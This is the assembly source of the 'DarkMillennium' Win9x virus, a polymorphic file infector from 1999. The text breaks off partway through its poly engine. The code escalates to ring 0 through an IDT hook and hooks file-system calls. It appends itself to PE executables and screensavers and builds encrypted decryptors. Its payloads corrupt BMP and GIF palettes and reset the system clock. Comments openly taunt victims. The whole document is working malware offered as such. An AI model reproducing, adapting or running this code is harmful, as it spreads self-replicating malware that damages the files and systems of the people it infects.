darkmillennium.obj, darkmillennium.exe, , import32.lib +; +; report any bugs to clau@ultimatechaos.org +; + +.386p +.model flat + +extrn ExitProcess:proc +extrn MessageBoxA:proc + +VxDCall macro vxd_id, service_id + int 20h + dw service_id + dw vxd_id + endm + +IFSMgr = 0040h ; VxD service +GetHeap = 000dh +InstallFileSystemAPIhook = 0067h +Ring0_FileIO = 0032h +UniToBCSPath = 0041h +IFSFN_OPEN = 36 +IFSFN_RENAME = 37 +IFSFN_FILEATTRIB = 33 +R0_opencreatefile = 0d500h ; open/create file +R0_readfile = 0d600h ; read a file, no context +R0_writefile = 0d601h ; write to a file, no context +R0_closefile = 0d700h ; close a file +exception_int = 3 +exe_ext = 'EXE.' +scr_ext = 'RCS.' +bmp_ext = 'PMB.' +gif_ext = 'FIG.' +virussize = _end - Start +virussize_plus_buffers = virussize + ( _end_2 - _end ) +polyengine_size = _end - GenDecryptor +infected_nr_trigger = 200 + +.code + +Begin: + push 64 + push offset w_title + push offset copyright + push 0 + call MessageBoxA + jmp Start + +.data + +;-------------------- Start Code ------------------- + +Start: call Delta +Delta: mov esi, esp + mov ebp, dword ptr ss:[esi] + sub ebp, offset Delta + + pushad + lea esi, [ebp + key - Start] ; address of code key + add esi, offset Start + xor di, di ; key for decryption +find_loop: inc di + mov ax, [esi] ; load code key in eax + xor ax, di ; decrypt it with the key from edi + cmp ax, 9090h ; check if edi key is OK + jnz find_loop ; if not jump to find_loop + + ; now edi = the key for decryption + lea esi, [ebp + Encr_Code - Start] + add esi, offset Start + mov ecx, virussize +decr_loop: xor word ptr [esi], di + add esi, 2 + sub ecx, 2 + cmp ecx, 1 + jg decr_loop + + popad + + ; "alocate" space equal to current decryptor size, incase that the next generated decryptors + ; will be bigger, and it will be bigger then this one + ; this space will be filled with random junk instructions + db ($ - offset Start) * 2 dup (90h) ; for big decryptors not overwrite Data Zone + +Encr_Code: +key dw 9090h + jmp virus_code + +;-------------------- Data Zone ------------------- + +IDT_Address dq 0 +flag db 0 +newaddress dd 0 +exception dd 0 +old_offset dd 0 +filename db 260 dup (0) +handle dd 0 +crt_move dd 0 +peheader dd 0 +S_Align dd 0 +F_Align dd 0 +sec_ptr dd 0 +Old_EIP dd 0 +SOI dd 0 +virusplace dd 0 +imagebase dd 0 +infected_files dw 0 + +SEH_nextpointer dd ? +SEH_oldpointer dd ? +SEH_errorhandler dd ? + +IMAGE_DOS_HEADER struc + MZ_magic dw ? + MZ_cblp dw ? + MZ_cp dw ? + MZ_crlc dw ? + MZ_cparhdr dw ? + MZ_minalloc dw ? + MZ_maxalloc dw ? + MZ_ss dw ? + MZ_sp dw ? + MZ_csum dw ? + MZ_ip dw ? + MZ_cs dw ? + MZ_lfarlc dw ? + MZ_ovno dw ? + MZ_res dw 4 dup (?) + MZ_oemid dw ? + MZ_oeminfo dw ? + MZ_res2 dw 10 dup (?) + MZ_lfanew dd ? +IMAGE_DOS_HEADER ends +IMAGE_DOS_HEADER_SIZE = SIZE IMAGE_DOS_HEADER + +IMAGE_FILE_HEADER struc + PE_Magic dd ? + Machine dw ? + NumberOfSections dw ? + TimeDateStamp dd ? + PointerToSymbolTable dd ? + NumberOfSymbols dd ? + SizeOfOptionalHeader dw ? + Characteristics dw ? +IMAGE_FILE_HEADER ends +IMAGE_FILE_HEADER_SIZE = SIZE IMAGE_FILE_HEADER + +IMAGE_DATA_DIRECTORY struc + dd_VirtualAddress dd ? + dd_Size dd ? +IMAGE_DATA_DIRECTORY ends + +IMAGE_DIRECTORY_ENTRIES struc + DE_Export IMAGE_DATA_DIRECTORY ? + DE_Import IMAGE_DATA_DIRECTORY ? + DE_Resource IMAGE_DATA_DIRECTORY ? + DE_Exception IMAGE_DATA_DIRECTORY ? + DE_Security IMAGE_DATA_DIRECTORY ? + DE_BaseReloc IMAGE_DATA_DIRECTORY ? + DE_Debug IMAGE_DATA_DIRECTORY ? + DE_Copyright IMAGE_DATA_DIRECTORY ? + DE_GlobalPtr IMAGE_DATA_DIRECTORY ? + DE_TLS IMAGE_DATA_DIRECTORY ? + DE_LoadConfig IMAGE_DATA_DIRECTORY ? + DE_BoundImport IMAGE_DATA_DIRECTORY ? + DE_IAT IMAGE_DATA_DIRECTORY ? +IMAGE_DIRECTORY_ENTRIES ends +IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16 + +IMAGE_OPTIONAL_HEADER struc + OH_Magic dw ? + OH_MajorLinkerVersion db ? + OH_MinorLinkerVersion db ? + OH_SizeOfCode dd ? + OH_SizeOfInitializedData dd ? + OH_SizeOfUninitializedData dd ? ; Uninitialized Data + OH_AddressOfEntryPoint dd byte ptr ? ; Initial EIP + OH_BaseOfCode dd byte ptr ? ; Code Virtual Address + OH_BaseOfData dd byte ptr ? ; Data Virtual Address + OH_ImageBase dd byte ptr ? ; Base of image + OH_SectionAlignment dd ? ; Section Alignment + OH_FileAlignment dd ? ; File Alignment + OH_MajorOperatingSystemVersion dw ? ; Major OS + OH_MinorOperatingSystemVersion dw ? ; Minor OS + OH_MajorImageVersion dw ? ; Major Image version + OH_MinorImageVersion dw ? ; Minor Image version + OH_MajorSubsystemVersion dw ? ; Major Subsys version + OH_MinorSubsystemVersion dw ? + OH_Win32VersionValue dd ? ; win32 version + OH_SizeOfImage dd ? ; Size of image + OH_SizeOfHeaders dd ? ; Size of Header + OH_CheckSum dd ? ; unused + OH_Subsystem dw ? ; Subsystem + OH_DllCharacteristics dw ? ; DLL characteristic + OH_SizeOfStackReserve dd ? ; Stack reserve + OH_SizeOfStackCommit dd ? ; Stack commit + OH_SizeOfHeapReserve dd ? ; Heap reserve + OH_SizeOfHeapCommit dd ? ; Heap commit + OH_LoaderFlags dd ? ; Loader flags + OH_NumberOfRvaAndSizes dd ? ; Number of directories + UNION ; directory entries + OH_DataDirectory IMAGE_DATA_DIRECTORY\ + IMAGE_NUMBEROF_DIRECTORY_ENTRIES DUP (?) + OH_DirectoryEntries IMAGE_DIRECTORY_ENTRIES ? + ends + ends +IMAGE_OPTIONAL_HEADER_SIZE = SIZE IMAGE_OPTIONAL_HEADER + +IMAGE_SECTION_HEADER struc + SH_Name db 8 dup (?) + UNION + SH_PhusicalAddress dd byte ptr ? + SH_VirtualSize dd ? + ends + SH_VirtualAddress dd byte ptr ? + SH_SizeOfRawData dd ? + SH_PointerToRawData dd byte ptr ? + SH_PointerToRelocations dd byte ptr ? + SH_PointerToLinenumbers dd byte ptr ? + SH_NumberOfRelocations dw ? + SH_NumberOfLinenumbers dw ? + SH_Characteristics dd ? +IMAGE_SECTION_HEADER ends +IMAGE_SECTION_HEADER_SIZE = SIZE IMAGE_SECTION_HEADER + +mz_header IMAGE_DOS_HEADER ? +pe_header IMAGE_FILE_HEADER ? +oh_header IMAGE_OPTIONAL_HEADER ? +section IMAGE_SECTION_HEADER ? + +;-------------------- Real Code Zone ------------------ + +virus_code: mov eax, dword ptr fs:[00h] + mov dword ptr [ebp + SEH_nextpointer], eax + mov dword ptr [ebp + SEH_oldpointer], eax + lea eax, [ebp + return_to_host] + mov dword ptr [ebp + SEH_errorhandler], eax + lea eax, [ebp + SEH_nextpointer] + mov dword ptr fs:[00h], eax + + sidt [ebp + IDT_Address] + mov esi, dword ptr [ebp + IDT_Address + 2] + add esi, exception_int * 8 + mov dword ptr [ebp + exception], esi + mov bx, word ptr [esi + 6] + shl ebx, 10h + mov bx, word ptr [esi] + mov dword ptr [ebp + old_offset], ebx + lea eax, [ebp + offset Ring0] + mov word ptr [esi], ax + shr eax, 10h + mov word ptr [esi + 6], ax + + mov eax, 0c000e990h + cmp dword ptr [eax], '2000' + jne go_into_ring0 + jmp already_installed + +go_into_ring0: int exception_int ; This will jump us to Ring0 proc in ring0 mode + +already_installed: mov esi, dword ptr [ebp + exception] + mov ebx, dword ptr [ebp + old_offset] + mov word ptr [esi], bx + shr ebx, 10h + mov word ptr [esi + 6], bx + +return_to_host: mov eax, dword ptr [ebp + SEH_oldpointer] + mov dword ptr fs:[00h], eax + +exit: cmp ebp, 0 + je generation_1 + mov eax, [ebp + Old_EIP] + add eax, [ebp + imagebase] + jmp eax + +generation_1: push 0 + call ExitProcess + +Ring0 proc + pusha + + ; Get some memory + mov eax, virussize_plus_buffers + 100 + push eax + patch1_val equ GetHeap + 256 * 256 * IFSMgr + patch1 label far + VxDCall IFSMgr, GetHeap + pop ecx + or eax, eax + jz no_free_mem + + ; Copy into memory + xchg eax, edi + lea esi, dword ptr [ebp + Start] + push edi + mov ecx, _end - Start + rep movsb + pop edi + mov dword ptr [ebp + newaddress], edi + mov dword ptr [edi + delta1 - Start], edi + + ; hook API + lea eax, [edi + API_hook - Start] + push eax + patch2_val equ InstallFileSystemAPIhook + 256 * 256 * IFSMgr + patch2 label far + VxDCall IFSMgr, InstallFileSystemAPIhook + pop ebx + mov [edi + nexthook - Start], eax + jmp success + +no_free_mem: jmp back_to_ring3 + +success: mov eax, 0c000e990h + mov dword ptr [eax], '2000' + mov byte ptr [edi + flag - Start], 0 + +back_to_ring3: popad + iretd +Ring0 endp + +API_hook: push ebp + mov ebp, esp + sub esp, 20h + + push ebx + push esi + push edi + + db 0bfh +delta1 dd 0 + + cmp byte ptr [edi + flag - Start], 1 + je over_now + + cmp dword ptr [ebp + 12], IFSFN_OPEN ; open action + je action_ok + cmp dword ptr [ebp + 12], IFSFN_RENAME ; rename action + je action_ok + cmp dword ptr [ebp + 12], IFSFN_FILEATTRIB ; attributes action + je action_ok + jmp over_now + +action_ok: mov byte ptr [edi + flag - Start], 1 + pusha + lea esi, [edi + filename - Start] + + mov eax, [ebp + 16] + cmp al, 0ffh + je no_path + add al, 40h + mov byte ptr [esi], al + inc esi + mov byte ptr [esi], ':' + inc esi + mov byte ptr [esi], '\' + + ; Unicode conversion +no_path: push 0 ; BCS/WANSI code + push 260 ; maximum filename + mov eax, [ebp + 28] ; get IOREQ + mov eax, [eax + 12] + add eax, 4 + push eax ; push filename + push esi ; push destination + + patch3_val equ UniToBCSPath + 256 * 256 * IFSMgr + patch3 label far + VxDCall IFSMgr, UniToBCSPath + add esp, 4 * 4 + add esi, eax + mov byte ptr [esi], 0 + + ; Check extension for '.EXE' + cmp dword ptr [esi - 4], exe_ext + je check_2 + + ; Check extension for '.BMP' + cmp dword ptr [esi - 4], bmp_ext + jne check_gif_ext + call bmp_Payload + + ; Check extension for '.GIF' +check_gif_ext: + cmp dword ptr [esi - 4], gif_ext + jne check_scr_ext + call gif_Payload + + ; Check extension for '.SCR' = screensaver +check_scr_ext: + cmp dword ptr [esi - 4], scr_ext + jne not_exe + + ; Open the file +check_2: lea esi, [edi + filename - Start] + call file_open + jc not_exe + mov dword ptr [edi + handle - Start], eax + + ; Read DOS header + lea esi, [edi + mz_header - Start] + mov ebx, dword ptr [edi + handle - Start] + mov ecx, IMAGE_DOS_HEADER_SIZE + mov edx, 0 + call file_read + + ; Check if really EXE file ( 'MZ' signature ) + lea esi, [edi + mz_header - Start] + mov ax, word ptr [esi.MZ_magic] + cmp ax, 5a4dh + jne fileclose + + ; Locate the PE header + mov esi, dword ptr [esi.MZ_lfanew] + cmp esi, 500h + ja fileclose + + ; Save the pos of the PE header + mov dword ptr [edi + crt_move - Start], esi + mov dword ptr [edi + peheader - Start], esi + + ; Read the PE header + lea edx, [edi + pe_header - Start] + mov ebx, dword ptr [edi + handle - Start] + mov ecx, IMAGE_FILE_HEADER_SIZE + IMAGE_OPTIONAL_HEADER_SIZE + xchg esi, edx + call file_read + + add dword ptr [edi + crt_move - Start], IMAGE_FILE_HEADER_SIZE + IMAGE_OPTIONAL_HEADER_SIZE + + ; Check for 'PE' signature + lea esi, [edi + pe_header - Start] + mov eax, dword ptr [esi.PE_Magic] + cmp eax, 00004550h + jne fileclose + + ; Check for DLL signature + cmp dword ptr [esi.Characteristics], 2000h + je fileclose + + ; Locate the last section and read it + xor eax, eax + mov ax, word ptr [esi.NumberOfSections] + mov ecx, IMAGE_SECTION_HEADER_SIZE + dec eax + mul ecx + mov esi, eax + add esi, dword ptr [edi + crt_move - Start] + mov dword ptr [edi + sec_ptr - Start], esi + + ; Read the last section + lea edx, [edi + section - Start] + mov ecx, IMAGE_SECTION_HEADER_SIZE + mov ebx, dword ptr [edi + handle - Start] + xchg esi, edx + call file_read + + ; Verify if already infected + lea esi, [edi +oh_header - Start] + cmp dword ptr [esi.OH_Win32VersionValue], '2000' + je fileclose + + mov eax, dword ptr [esi.OH_SectionAlignment] + mov [edi + S_Align - Start], eax + mov eax, dword ptr [esi.OH_FileAlignment] + mov [edi + F_Align - Start], eax + mov eax, dword ptr [esi.OH_AddressOfEntryPoint] + mov [edi + Old_EIP - Start], eax + mov eax, dword ptr [esi.OH_SizeOfImage] + mov [edi + SOI - Start], eax + mov eax, dword ptr [esi.OH_ImageBase] + mov [edi + imagebase - Start], eax + + ; Update the section + lea esi, [edi + section - Start] + mov eax, dword ptr [esi.SH_PointerToRawData] + add eax, dword ptr [esi.SH_VirtualSize] + mov dword ptr [edi + virusplace - Start], eax + mov eax, dword ptr [edi.SH_SizeOfRawData] + add eax, virussize + mov ecx, dword ptr [edi + F_Align - Start] + push eax + push ecx + xor edx, edx + div ecx + pop ecx + sub ecx, edx + pop eax + add eax, ecx + mov dword ptr [esi.SH_SizeOfRawData], eax + mov eax, dword ptr [esi.SH_VirtualSize] + add eax, virussize + mov dword ptr [esi.SH_VirtualSize], eax + + ; Set the new characteristics for the section + or dword ptr [esi.SH_Characteristics], 00000020h ; code + or dword ptr [esi.SH_Characteristics], 20000000h ; executable + or dword ptr [esi.SH_Characteristics], 80000000h ; writable + + ; Update the PE header + ; first the size of image wich is aligned to section alignment + lea esi, [edi + oh_header - Start] + mov eax, dword ptr [edi + SOI - Start] + add eax, virussize + mov ecx, dword ptr [edi + S_Align - Start] + push eax + push ecx + xor edx, edx + div ecx + pop ecx + sub ecx, edx + pop eax + add eax, ecx + mov dword ptr [esi.OH_SizeOfImage], eax + + ; Address of Entrypoint to our virus ( Old Virtual Address + New Virtual Size - Virus Size ) + lea esi, [edi + section - Start] + mov eax, dword ptr [esi.SH_VirtualAddress] + add eax, dword ptr [esi.SH_VirtualSize] + sub eax, virussize + lea esi, [edi + oh_header - Start] + mov dword ptr [esi.OH_AddressOfEntryPoint], eax + + ; Mark the infection + mov dword ptr [esi.OH_Win32VersionValue], '2000' + + ; Write section to file + lea edx, [edi + section - Start] + mov ecx, IMAGE_SECTION_HEADER_SIZE + mov ebx, dword ptr [edi + handle - Start] + mov esi, dword ptr [edi + sec_ptr - Start] + xchg edx, esi + call file_write + + ; Write headers to file + lea edx, [edi + pe_header - Start] + mov ecx, IMAGE_FILE_HEADER_SIZE + IMAGE_OPTIONAL_HEADER_SIZE + mov ebx, dword ptr [edi + handle - Start] + mov esi, dword ptr [edi + peheader - Start] + xchg edx, esi + call file_write + + ; Patch the code + mov cx, 20cdh + mov word ptr [edi + patch1 - Start], cx + mov eax, patch1_val + mov dword ptr [edi + patch1 - Start + 2], eax + mov word ptr [edi + patch2 - Start], cx + mov eax, patch2_val + mov dword ptr [edi + patch2 - Start + 2], eax + mov word ptr [edi + patch3 - Start], cx + mov eax, patch3_val + mov dword ptr [edi + patch3 - Start + 2], eax + mov word ptr [edi + patch4 - Start], cx + mov eax, patch4_val + mov dword ptr [edi + patch4 - Start + 2], eax + mov word ptr [edi + patch5 - Start], cx + mov eax, patch5_val + mov dword ptr [edi + patch5 - Start + 2], eax + + ; reset the infected_files counter + mov ax, 0 + mov word ptr [edi + infected_files - Start], ax + + ; Generate decryptor + pushad + mov ebp, edi + call GenDecryptor + popad + + ; Call Payload + call Payload + + ; Write decryptor + mov edx, edi + mov ecx, Encr_Code - Start + mov ebx, dword ptr [edi + handle - Start] + mov esi, dword ptr [edi + virusplace - Start] + xchg edx, esi + call file_write + + mov edx, dword ptr [edi + virusplace - Start] + add edx, Encr_Code - Start + mov dword ptr [edi + virusplace - Start], edx ; update virusplace + + ; Get random key for encryption in cx + mov eax, 0FFFFh + call random_in_range ; will return in ax a random number + xchg ax, cx + + ; Write encrypted area to file + lea edx, [edi + Encr_Code - Start] ; location to copy and encrypt + xor eax, eax ; counter + +write_loop: call copy_in_buffer + inc edx + inc edx + + push eax ; save counter + push ecx ; save the key + push edx ; save location pointer in code + + ; Write buffer in file + mov ebx, dword ptr [edi + handle - Start] + mov ecx, 2 + mov edx, dword ptr [edi + virusplace - Start] + lea esi, [edi + encryption_buffer - Start] + call file_write + + mov edx, dword ptr [edi + virusplace - Start] + inc edx + inc edx + mov dword ptr [edi + virusplace - Start], edx + + pop edx ; restore loc. pointer + pop ecx ; restore the key + pop eax ; restore counter + inc eax + inc eax + cmp eax, _end - Encr_Code + jle write_loop + + ; Close the file +fileclose: mov ebx, dword ptr [edi + handle - Start] + call file_close + +not_exe: popa + +over_now: mov byte ptr [edi + flag - Start], 0 ; Set flag to 0 + mov eax, [ebp + 28] + push eax + mov eax, [ebp + 24] + push eax + mov eax, [ebp + 20] + push eax + mov eax, [ebp + 16] + push eax + mov eax, [ebp + 12] + push eax + mov eax, [ebp + 08] + push eax + + db 0b8h +nexthook dd 0 + call [eax] + + add esp, 6 * 4 + + pop edi + pop esi + pop ebx + + leave + ret + +; Copy a word from code in encryption_buffer and encrypt it +; cx = key for encryption +; edx = pointer in code +copy_in_buffer proc + pushad + mov bx, word ptr [edx] + xor bx, cx + mov [edi + encryption_buffer - Start], bx + popad + ret + +encryption_buffer dw 0 + +copy_in_buffer endp + +get_rnd proc + push bx + xor bx, ax + xor bx, cx + xor bx, dx + xor bx, sp + xor bx, bp + xor bx, si + xor bx, di + in al, 40h + xor bl, al + in al, 40h + add bh, al + in al, 41h + sub bl, al + in al, 41h + xor bh, al + in al, 42h + add bl, al + in al, 42h + sub bh, al + xchg bx, ax + pop bx + ret +get_rnd endp + + +; Ring0 File_IO +;------------------------- +Ring0_File_IO proc + patch4_val equ Ring0_FileIO + 256 *256 * IFSMgr + patch4 label far + VxDCall IFSMgr, Ring0_FileIO + ret +Ring0_File_IO endp + +file_open proc + mov bx, 2 + mov cx, 0 + mov dx, 1 + mov eax, R0_opencreatefile + call Ring0_File_IO + ret +file_open endp + +file_close proc + mov eax, R0_closefile + call Ring0_File_IO + ret +file_close endp + +file_read proc + mov eax, R0_readfile + call Ring0_File_IO + ret +file_read endp + +file_write proc + mov eax, R0_writefile + call Ring0_File_IO + ret +file_write endp + +Payload proc + + ; Check the number of infected files + pushad + mov ax, word ptr [edi + infected_files - Start] ; check the number of infected files + inc ax ; increase the counter with 1 + mov word ptr [edi + infected_files - Start], ax + cmp ax, infected_nr_trigger + jne not_yet + + mov ax, 0 ; reset the counter + mov word ptr [edi + infected_files - Start], ax + ; the counter will also be reseted at in every new infected file + + ; (on every infected_nr_trigger will trigger a message box) + lea eax, [edi + WinTitle - Start] + mov [edi + TitleOff - Start], eax + lea eax, [edi + WinText - Start] + mov [edi + TextOff - Start], eax + lea ebx, [edi + WinBox - Start] + + patch5_val equ 001Ah + 256 * 256 * 002Ah + patch5 label far + VxDCall 002Ah, 001Ah + + ; give a try with random_in_range + ; (number between 0 and 10000) +not_yet: mov eax, 10000 + call random_in_range + cmp eax, 500 + jg end_payload + + ; as you see if the random number =< 500 then test the PC for year 2000 compatibilite :) + ; infact it will jump into year 2000 + ; the chances to do it are 5% + mov al, 07h + out 70h, al + mov al, 01h + out 71h, al ; day of the month + mov al, 08h + out 70h, al + mov al, 01h + out 71h, al ; month to January + mov al, 09h + out 70h, al + mov al, 00h + out 71h, al ; year (0 = 2000) + ; by the way ... this is a good test, you will see if your computer is compatible with year 2000 ;) + ; so i recommend you get infected with DarkMillennium + +end_payload:popad + ret + +WinBox dd ? +butt1 dw 0 +butt2 dw 0001 +butt3 dw 0 +TitleOff dd offset WinTitle +TextOff dd offset WinText + +WinTitle db 'DarkMillennium Project',0 +WinText db 'DarkMillennium Project', 10, 'Copyright (C) 1999 by Clau/Ultimate Chaos', 10 + db 'www.ultimatechaos.org', 10 + db 'Greets to all VXers out there !', 0 + +Payload endp + +copyright db 'DarkMillennium Project', 13, 10, 'Copyright (C) 1999 by Clau/Ultimate Chaos', 0 +copyright_end: + +bmp_Payload proc + pushad + + ; Open the file + lea esi, [edi + filename - Start] + call file_open + mov dword ptr [edi + handle - Start], eax + + ; Read file + lea esi, [edi + gfx_buffer - Start] + mov ebx, [edi + handle - Start] + mov ecx, 256 + mov edx, 54 + call file_read + + ; Change the things arround + lea esi, [edi + gfx_buffer - Start] + mov ecx, 256 + +bmp_dark: cmp byte ptr [esi], 5 + jl bmp_color_1 + sub byte ptr [esi], 5 +bmp_color_1:inc esi + cmp byte ptr [esi], 5 + jl bmp_color_2 + sub byte ptr [esi], 5 +bmp_color_2:inc esi + cmp byte ptr [esi], 5 + jl bmp_color_out + sub byte ptr [esi], 5 +bmp_color_out: + add esi, 2 + sub ecx, 4 + cmp ecx, 0 + jne bmp_dark + + ; Write file + lea esi, [edi + gfx_buffer - Start] + mov ecx, 256 + mov ebx, [edi + handle - Start] + mov edx, 54 + call file_write + + ; Close file + mov ebx, [edi + handle - Start] + call file_close + + popad + ret +bmp_Payload endp + +gif_Payload proc + +; Thanks goes to MidNyte for helping me with informations and code + + pushad + + ; Open the file + lea esi, [edi + filename - Start] + call file_open + mov dword ptr [edi + handle - Start], eax + + ; Read file + lea esi, [edi + gfx_buffer - Start] + mov ebx, eax + mov ecx, 10Dh + mov edx, 0000h + call file_read + + xor ecx, ecx + mov cl, byte ptr [edi + gfx_buffer + 000Ah - Start] + and cl, 00000111b + cmp cl, 0 + je exit_gif_payload ; somethin' is wrong + + mov ax, 2 +get_colours:shl ax, 1 + loop get_colours + + mov cx, ax + shl ax, 1 + add cx, ax + lea esi, [edi + gfx_buffer - Start] + add esi, 000Dh + + push edi + mov edi, esi +darken: lodsb + cmp al, 14h + jb skip_entry + sub al, 14h + stosb +skip_entry: loop darken + pop edi + + ; Write buffer back to file + lea esi, [edi + gfx_buffer - Start] + mov ebx, [edi + handle - Start] + mov ecx, 10Dh + mov edx, 0 ; loc. to write in file + call file_write + +exit_gif_payload: + ; Close file + mov ebx, [edi + handle - Start] + call file_close + + popad + ret +gif_Payload endp + + +; ------------------------------------------------------------ +;| Poly Engine | +; ------------------------------------------------------------ + +; Generate decryptor +; EBP = location for decryptor +GenDecryptor proc + + xchg ebp, edi + call InitRegGenerator + call GenerateRegisters + + ; call 00000000h + mov al, 0E8h + stosb + mov eax, 00000000h + stosd + + ; Generate Junk + xchg ebp, edi + call GenerateJunk + xchg ebp, edi + + ; mov reg1, ESP + mov cl, byte ptr [ebp + reg_1 - Start] + mov ch, 04h ; ESP + mov ax, 0001h + xchg ebp, edi + call GenPutX1X2 + xchg ebp, edi + + ; Generate Junk + xchg ebp, edi + call GenerateJunk + xchg ebp, edi + + ; mov reg_2, ss:[reg_1] + mov cl, byte ptr [ebp + reg_2 - Start] + mov ch, byte ptr [ebp + reg_1 - Start] + mov ax, 0101h + xchg ebp, edi + call GenPutX1X2 + xchg ebp, edi + + ; Generate Junk + xchg ebp, edi + call GenerateJunk + xchg ebp, edi + + ; sub reg_2, offset Delta + mov al, 81h + stosb + mov al, byte ptr [ebp + reg_2 - Start] + add al, 0E8h + stosb + mov eax, offset Delta + stosd + + ; Generate Junk + xchg ebp, edi + call GenerateJunk + xchg ebp, edi + + ; xchg reg_2, ebp + mov al, 87h + stosb + mov al, byte ptr [ebp + reg_2 - Start] + add al, 0E8h + stosb + + ; Generate Junk + xchg ebp, edi + call GenerateJunk + xchg ebp, edi + + call GenerateRegisters + + ; pushad + mov al, 60h + stosb + + ; Generate Junk + xchg ebp, edi + call GenerateJunk + xchg ebp, edi + + ; lea reg_1, [ebp + key - Start] -> key offset will be setted later + mov al, 8Dh + stosb + mov al, byte ptr [ebp + reg_1 - Start] + mov ebx, 8 + mul ebx + add al, 85h + stosb + + mov [ebp + var2 - Start], edi ; save EDI offset, for later use + mov eax, 00000000h + stosd + + ; Generate Junk + xchg ebp, edi + call GenerateJunk + xchg ebp, edi + + ; add reg_1, offset Start + mov al, 81h + stosb + mov al, byte ptr [ebp + reg_1 - Start] + add al, 0C0h + stosb + mov eax, offset Start + stosd + + ; Generate Junk + xchg ebp, edi + call GenerateJunk + xchg ebp, edi + + ; xor reg_2, reg_2 + mov al, 33h + stosb + mov al, byte ptr [ebp + reg_2 - Start] + mov ecx, eax + mov ebx, 8 + mul ebx + add al, cl + add al, 0C0h + stosb + + ; Generate Junk + xchg ebp, edi + call GenerateJunk + xchg ebp, edi + + ; inc reg_2 + mov [ebp + var1 - Start], edi ; save in var1 current pos for future use + mov al, 40h + add al, byte ptr [ebp + reg_2 - Start] + stosb + + ; Generate Junk + xchg ebp, edi + call GenerateJunk + xchg ebp, edi + + ; mov reg_3, [reg_1] + mov al, byte ptr [ebp + reg_3 - Start] + mov cl, al + mov ch, byte ptr [ebp + reg_1 - Start] + mov ax, 0100h + xchg ebp, edi + call GenPutX1X2 + xchg ebp, edi + + ; Generate Junk + xchg ebp, edi + call GenerateJunk + xchg ebp, edi + + ; xor reg_3, reg_2 + mov ax, 3366h + stosw + mov al, byte ptr [ebp + reg_3 - Start] + mov ebx, 8 + mul ebx + add al, byte ptr [ebp + reg_2 - Start] + add al, 0C0h + stosb + + ; Generate Junk + xchg ebp, edi + call GenerateJunk + xchg ebp, edi + + ; cmp reg3, 9090h + mov ax, 8166h + stosw + mov al, byte ptr [ebp + reg_3 - Start] + add al, 0F8h + stosb + mov ax, 9090h + stosw + + ; jne -inc reg_2 line- + mov al, 75h + stosb + mov eax, [ebp + var1 - Start] + sub eax, edi + dec eax ; now JNE points to INC DI line + stosb + + ; Generate Junk + xchg ebp, edi + call GenerateJunk + xchg ebp, edi + + ; Save the number of register that contain the key for decryption + mov al, [ebp + reg_2 - Start] + mov [ebp + reg_key - Start], al + + call GenerateRegisters + call GenerateFuckRegs + + ; lea reg_1, [ebp + key - Start] -> key offset will be setted later + mov al, 8Dh + stosb + mov al, byte ptr [ebp + reg_1 - Start] + mov ebx, 8 + mul ebx + add al, 85h + stosb + + mov [ebp + var3 - Start], edi ; save EDI offset, for later use + mov eax, 00000000h + stosd + + ; Generate Junk + xchg ebp, edi + call GenerateJunk + xchg ebp, edi + + ; add reg_1, offset Start + mov al, 81h + stosb + mov al, byte ptr [ebp + reg_1 - Start] + add al, 0C0h + stosb + mov eax, offset Start + stosd + + ; Generate Junk + xchg ebp, edi + call GenerateJunk + xchg ebp, edi + + ; mov reg_2, virussize + mov cl, byte ptr [ebp + reg_2 - Start] + mov ch, 0FFh + mov edx, virussize + mov ax, 0101h + xchg ebp, edi + call GenPutX1X2 + xchg ebp, edi + + ; Generate Junk + xchg ebp, edi + call GenerateJunk + xchg ebp, edi + + ; xor [reg_1], reg_key + mov [ebp + var4 - Start], edi + mov ax, 3166h + stosw + xor eax, eax + mov al, byte ptr [ebp + reg_key - Start] + mov ebx, 8 + mul ebx + add al, byte ptr [ebp + reg_1 - Start] + stosb + + ; Generate Junk + xchg ebp, edi + call GenerateJunk + xchg ebp, edi + + ; inc reg_1 + mov al, 40h + add al, byte ptr [ebp + reg_1 - Start] + stosb + + ; Generate Junk + xchg ebp, edi + call GenerateJunk + xchg ebp, edi + + ; inc reg_1 + mov al, 40h + add al, byte ptr [ebp + reg_1 - Start] + stosb + + ; Generate Junk + xchg ebp, edi + call GenerateJunk + xchg ebp, edi + + ; dec reg_2 + mov al, 48h + add al, byte ptr [ebp + reg_2 - Start] + stosb + + ; Generate Junk + xchg ebp, edi + call GenerateJunk + xchg ebp, edi + + ; dec reg_2 + mov al, 48h + add al, byte ptr [ebp + reg_2 - Start] + stosb + + ; Generate Junk + xchg ebp, edi + call GenerateJunk + xchg ebp, edi + + ; cmp reg_2, 1 + mov al, 83h + stosb + mov al, 0F8h + add al, byte ptr [ebp + reg_2 - Start] + stosb + mov al, 01 + stosb + + ; jg -- xor [reg_1], reg_key -- line + mov al, 07Fh + stosb + mov ax, [ebp + var4 - Start] + sub eax, edi + dec eax + stosb + + ; Generate Junk + xchg ebp, edi + call GenerateJunk + xchg ebp, edi + + ; popad + mov al, 61h + stosb + + ; Generate Junk + xchg ebp, edi + call GenerateJunk + xchg ebp, edi + + ; key word for decryption + mov esi, [ebp + var2 - Start] + lea eax, key + mov byte ptr [esi], al + mov esi, [ebp + var3 - Start] + lea eax, key + mov byte ptr [esi], al + mov ax, 9090h + stosw + + nop + nop + nop + nop + nop + + ; Generate random junk to fill the space after decryptor + lea esi, [ebp + Encr_Code - Start] + xchg ebp, edi +fill_junk: push esi + call GenerateOneByteJunk + pop esi + cmp ebp, esi + jl fill_junk + xchg ebp, edi + + xchg ebp, edi + ret + +var1 dd 0 ; keep location of INC DI line +var2 dd 0 ; keep location of LEA ESI, key instruction + 1 +var3 dd 0 ; keep location of the second LEA ESI, key instruction + 1 +var4 dd 0 ; keep location of XOR [ESI], DI instruction + +GenDecryptor endp + + +; Init register generator +; +InitRegGenerator proc + mov byte ptr [ebp + reg_1 - Start], 0F0h + mov byte ptr [ebp + reg_2 - Start], 0F0h + mov byte ptr [ebp + reg_3 - Start], 0F0h + mov byte ptr [ebp + reg_key - Start], 0F0h + mov byte ptr [ebp + reg_fuck_1 - Start], 0F0h + mov byte ptr [ebp + reg_fuck_2 - Start], 0F0h + ret +InitRegGenerator endp + +; Generate registers for use in decryptor +; +GenerateRegisters proc + pushad + + ; Generate reg, not ESP, not EBP +get_reg_1: mov eax, 8 + call random_in_range + cmp al, 4 ; no ESP + jz get_reg_1 + cmp al, 5 ; no EBP + jz get_reg_1 + cmp al, byte ptr [ebp + reg_key - Start] + jz get_reg_1 + mov byte ptr [ebp + reg_1 - Start], al ; save reg value for later 